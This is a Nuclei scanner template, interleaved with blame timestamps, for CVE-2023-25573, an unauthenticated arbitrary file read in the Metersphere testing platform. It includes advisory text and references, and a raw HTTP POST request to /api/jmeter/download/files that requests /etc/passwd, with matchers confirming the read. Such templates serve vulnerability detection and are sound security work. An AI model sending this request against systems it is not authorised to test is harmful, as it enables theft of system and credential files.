2023-09-14 14:59:27 +00:00
id : CVE-2023-25573
info :
name : Metersphere - Arbitrary File Read
author : DhiyaneshDK
severity : high
description : |
2023-09-14 17:32:41 +00:00
Metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1
2023-09-27 15:51:13 +00:00
impact : |
This vulnerability can lead to unauthorized access to sensitive information, such as configuration files, credentials, and other sensitive data.
2023-09-14 14:59:27 +00:00
remediation : Users are advised to upgrade. There are no known workarounds for this vulnerability.
reference :
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Metersphere%20file%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2023-25573.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-25573
- https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h
2024-03-23 09:28:19 +00:00
- https://github.com/20142995/sectool
- https://github.com/KayCHENvip/vulnerability-poc
2023-09-14 14:59:27 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2023-25573
cwe-id : CWE-862
2024-04-08 11:34:33 +00:00
epss-score : 0.03674
epss-percentile : 0.91517
2023-09-14 14:59:27 +00:00
cpe : cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
metadata :
2023-09-14 17:32:41 +00:00
verified : true
2023-09-27 15:51:13 +00:00
max-request : 1
2023-09-14 14:59:27 +00:00
vendor : metersphere
product : metersphere
2023-09-27 15:51:13 +00:00
fofa-query : body="Metersphere"
2023-09-14 14:59:27 +00:00
tags : cve,cve2023,metersphere,lfi
variables :
str : "{{rand_base(4)}}"
rand : "{{rand_base(3)}}"
http :
- raw :
- |
POST /api/jmeter/download/files HTTP/1.1
Content-Type : application/json
2023-09-14 15:04:56 +00:00
2023-09-14 14:59:27 +00:00
{"reportId" : "{{str}}" , "bodyFiles" : [ {"id" : "{{rand}}" , "name" : "/etc/passwd" }] }
matchers-condition : and
matchers :
- type : word
part : body
words :
- '/etc/passwd'
- type : word
part : header
words :
- 'filename="{{str}}.zip"'
- 'application/octet-stream'
condition : and
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022100ab816efcbc5a7db8eacab493caab83f3dba6c09efceae69db79af63d2d711e3c02204b221648b2e6153a538e9fd48e38ff9a6a67590aa66a6b7a9e031080ffa9edc8:922c64590222798bb761d5b6d8e72950